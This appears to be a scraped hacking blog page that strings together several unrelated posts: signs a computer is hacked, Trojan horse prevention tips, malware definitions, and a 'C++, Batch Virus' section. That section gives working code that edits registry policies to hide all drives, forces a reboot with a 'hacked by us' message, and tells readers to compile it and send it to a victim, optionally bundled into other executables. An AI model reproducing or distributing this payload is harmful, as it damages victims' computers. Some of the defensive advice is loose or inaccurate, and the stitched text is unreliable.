3 Basic Ways to Tell Your Computer Has Been Hacked

Learning how to hack into the accounts of individuals is really convenient and pretty cool—but when the tables get turned around and you become the "hackee"—yeah, not so cool anymore. Thankfully there are some clues that may suggest you are the victim of being hacked. To learn what they are, continue reading below.

1. It Seems as Though a Ghost Lives Inside Your Computer. If you start noticing that your computer starts to act strangely, almost paranormal like—for example maybe the cursor starts to move on its own, emails that you know were untouched in your inbox before suddenly vanish, passwords magically change, or numbers and other characters appear on your screen when you are more than sure that you didn’t even touch your keyboard—then chances are your "ghost" lives in some house across the country and is controlling your laptop or desktop from a distance. As soon as you notice any kind of the unusual activity listed above, it's recommended to immediately dis enable your wireless or unplug your Ethernet cable so the hacker cannot access your computer. Then you need to immediately scan your computer with your anti virus software so that it can remove any cookies or installed malicious software that the hacker administered to your computer. If you do not have anti virus software installed because you think it's just too expensive, AVG offers a basic version for free.

2. Your Internet Connection has Suddenly Turned into a Turtle. Since hackers have to operate from a remote location to gain control of your computer, typically it will slow down your internet connection speed substantially—this is because more broadwidth is being used. Of course there can be other reasons why your internet connection is slow—perhaps you have too many files. But just to make sure, it's probably best to check your system logs to see if a second or third party has logged into your computer at any time. To do this, right click on my computer, select manage, click on computer management and then select event viewer and security.

3. Your Computer is Always Processing Information. Lastly, if you're computer is idle, but your hard drive's LED still blinks, then this is a definite red flag that a hacker has invaded your computer. Granted, an update may be occurring, but if it's not you need to immediately disconnect your LAN or WiFi and do some damage control.

C++ ,Batch Virus code to disable All Hard disk

Hi friends,here i give you give the C++ virus code.  Actually Batch code is converted to C++ virus code.  If you like you can use it as batch code also.



C++ Virus Code :

#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }

Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don't run this c++ program ,it will attack your system itself.
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files.


Batch Virus Code Creation:

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f

I think this code will simple for non c++ programmers. It is easy to create the batch file also.
Copy the above code to notepad.
Save it with .bat extension (for ex: nodrivevirus.bat)
Send the file to your victim

Trojan Horse Attacks and preventions

According tolegend, the Greeks won the Trojan war by hiding in a huge, hollow wooden horse to sneak into the fortified city of Troy.
In today's computer world, a Trojan horse is defined as a "malicious, security-breaking program that is disguised as something benign". For example, you download what appears to be a movie or music file, but when you click on it, you unleash a dangerous program that erases your disk, sends your credit card numbers and passwords to a stranger, or lets that stranger hijack your computer to commit illegal Denial of Service Attacks like those that have virtually crippled the DALnet IRC network for months on end.The following general information applies to all operating systems, but by far most of the damage is done to/with Windows users due to its vast popularity and many weaknesses.

How pc is infected

Trojans are executable programs, which means that when you open the file, it will perform some action(s). In Windows, executable programs have file extensions like "exe", "vbs", "com", "bat", etc. Some actual trojan filenames include: "dmsetup.exe" and "LOVE-LETTER-FOR-YOU.TXT.vbs" (when there are multiple extensions, only the last one counts, be sure to unhide your extensions so that you see it).
Trojans can be spread in the guise of literally ANYTHING people find desirable, such as a free game, movie, song, etc. Victims typically downloaded the trojan from a WWW or FTP archive, got it viapeer-to-peer file exchange using IRC/instant messaging/Kazaa etc., or just carelessly opened some email attachment. Trojans usually do their damage silently. The first sign of trouble is often when others tell you that you are attacking them or trying to infect them!

Prevention:

1.NEVER download blindly from people or sites which you aren't 100% sure about.In other words, as the old saying goes, don't accept candy from strangers. If you do a lot offile downloading, it's often just a matter of time before you fall victim to a trojan.

2.Even if the file comes from a friend, you still must be sure what the file is before opening it , because many trojans will automatically try to spread themselves to friends in an email address book or on an IRC channel. There is seldom reason for a friend to send you a file that you didn't ask for. When in doubt, ask them first, and scan the attachment with a fully updated anti-virus program.

3.Beware of hidden file extensions! Windows by default hides the last extension of a file, so that innocuous-looking "susie.jpg" might really be "susie.jpg.exe" - an executable trojan! To reduce the chances of being tricked,unhide those pesky extensions.

4.NEVER use features in your programs that automatically get or preview files. Those features may seem convenient, but they let anybody send you anything which is extremely reckless. For example, never turn on "auto DCC get" in mIRC, instead ALWAYS screen every single file you get manually. Likewise, disable the preview mode in Outlook and other email programs. 5.Never blindly type commands that others tell you to type, or go to web addresses mentioned by strangers, or run pre-fabricated programs or scripts

Remove Trojan Horse

To remove trojan horse best way is installing a updated anti virus or trojan remover.
a another way is format hard disk fully and reinstall (install only trusted software )

What is Computer Worm?

A computer worm is a program which copies itself across a network.
A computer worm differs from a computer virus in that a computer worm can run itself. A virus needs a host program to run, and the virus code runs as part of the host program. A computer worm can spread without a host program, although some modern computer worms also use files to hide inside.

What is Malicious Softwares? What are the type of Malicious Softwares.

What is Malware?:
     Malware is a malicious software.  This software include the program that exploit the vulnerabilities in computing system.  The purpose of malicious software is harm you or steal the information from you.


Types of  Malicious Softwares:
There are three characteristics of malwares:

1 Self-replicating malware actively attempts to propagate by creating new
copies, or instances, of itself. Malware may also be propagated passively,
by a user copying it accidentally, for example, but this isn't self-replication.
